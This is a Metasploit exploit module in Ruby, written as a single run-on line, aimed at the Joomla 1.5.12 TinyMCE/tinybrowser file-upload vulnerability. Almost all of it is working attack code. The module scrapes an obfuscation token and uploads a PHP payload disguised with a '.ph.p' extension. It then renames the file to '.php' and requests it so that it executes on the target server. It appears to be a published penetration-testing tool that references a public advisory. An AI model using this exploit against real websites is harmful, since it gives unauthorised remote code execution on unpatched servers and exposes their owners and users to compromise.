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## # $Id: joomla_tinybrowser.rb 9525 2010-06-15 07:18:08Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Joomla 1.5.12 TinyBrowser File Upload Code Execution', 'Description'=> %q{ This module exploits a vulnerability in the TinyMCE/tinybrowser plugin. This plugin is not secured in version 1.5.12 of joomla and allows the upload of files on the remote server. By renaming the uploaded file this vulnerability can be used to upload/execute code on the affected system. }, 'Author' => [ 'spinbad <spinbad.security[at]googlemail.com>' ], 'License'=> MSF_LICENSE, 'Version'=> '$Revision: 9525 $', 'References' => [ ['OSVDB', '64578'], ['URL', 'http://milw0rm.com/exploits/9296'], ['URL', 'http://developer.joomla.org/security/news/301-20090722-core-file-upload.html'], ], 'Privileged' => false, 'Payload'=> { 'DisableNops' => true, 'Compat'=> { 'ConnectionType' => 'find', }, 'Space' => 1024, }, 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets'=> [[ 'Automatic', { }]], 'DisclosureDate' => 'Jul 22 2009', 'DefaultTarget'=> 0)) register_options( [ OptString.new('URI', [true, "Joomla directory path", "/"]), ], self.class) end def check uri = '' uri << datastore['URI'] uri << '/' if uri[-1,1] != '/' uri << 'plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/upload.php?type=file&folder=' res = send_request_raw( { 'uri' => uri }, 25) if (res and res.body =~ /flexupload.swf/) return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def retrieve_obfuscation() end def exploit cmd_php = '<?php ' + payload.encoded + '?>' # Generate some random strings cmdscript = rand_text_alpha_lower(20) boundary= rand_text_alphanumeric(6) # Static files directory = '/images/stories/' uri_base= '' uri_base << datastore['URI'] uri_base << '/' if uri_base[-1,1] != '/' uri_base << 'plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser' # Get obfuscation code (needed to upload files) obfuscation_code = nil res = send_request_raw({ 'uri' => uri_base + '/upload.php?type=file&folder=' }, 25) if (res) if(res.body =~ /"obfus", "((\w)+)"\)/) obfuscation_code = $1 print_status("Successfully retrieved obfuscation code: #{obfuscation_code}") else print_error("Error retrieving obfuscation code!") return end end # Upload shellcode (file ending .ph.p) data = "--#{boundary}\r\nContent-Disposition: form-data; name=\"Filename\"\r\n\r\n" data << "#{cmdscript}.ph.p\r\n--#{boundary}" data << "\r\nContent-Disposition: form-data; name=\"Filedata\"; filename=\"#{cmdscript}.ph.p\"\r\n" data << "Content-Type: application/octet-stream\r\n\r\n" data << cmd_php data << "\r\n--#{boundary}--" res = send_request_raw({ 'uri' => uri_base + "/upload_file.php?folder=" + directory + "&type=file&feid=&obfuscate=#{obfuscation_code}&sessidpass=", 'method'=> 'POST', 'data'=> data, 'headers' => { 'Content-Length' => data.length, 'Content-Type' => 'multipart/form-data; boundary=' + boundary, } }, 25) if (res and res.body =~ /File Upload Success/) print_status("Successfully uploaded #{cmdscript}.ph.p") else print_error("Error uploading #{cmdscript}.ph.p") end # Complete the upload process (rename file) print_status("Renaming file from #{cmdscript}.ph.p_ to #{cmdscript}.ph.p") res = send_request_raw({ 'uri' => uri_base + '/upload_process.php?folder=' + directory + '&type=file&feid=&filetotal=1' }) # Rename the file from .ph.p to .php res = send_request_cgi( { 'method'=> 'POST', 'uri' => uri_base + '/edit.php?type=file&folder=', 'vars_post' => { 'actionfile[0]' => "#{cmdscript}.ph.p", 'renameext[0]' => 'p', 'renamefile[0]' => "#{cmdscript}.ph", 'sortby' => 'name', 'sorttype' => 'asc', 'showpage' => '0', 'action' => 'rename', 'commit' => '', } }, 10) if (res and res.body =~ /successfully renamed./) print_status ("Renamed #{cmdscript}.ph.p to #{cmdscript}.php") else print_error("Failed to rename #{cmdscript}.ph.p to #{cmdscript}.php") end # Finally call the payload print_status("Calling payload: #{cmdscript}.php") uri = '' uri << datastore['URI'] uri << '/' if uri[-1,1] != '/' uri << directory + cmdscript + ".php" res = send_request_raw({ 'uri' => uri }, 25) end end |
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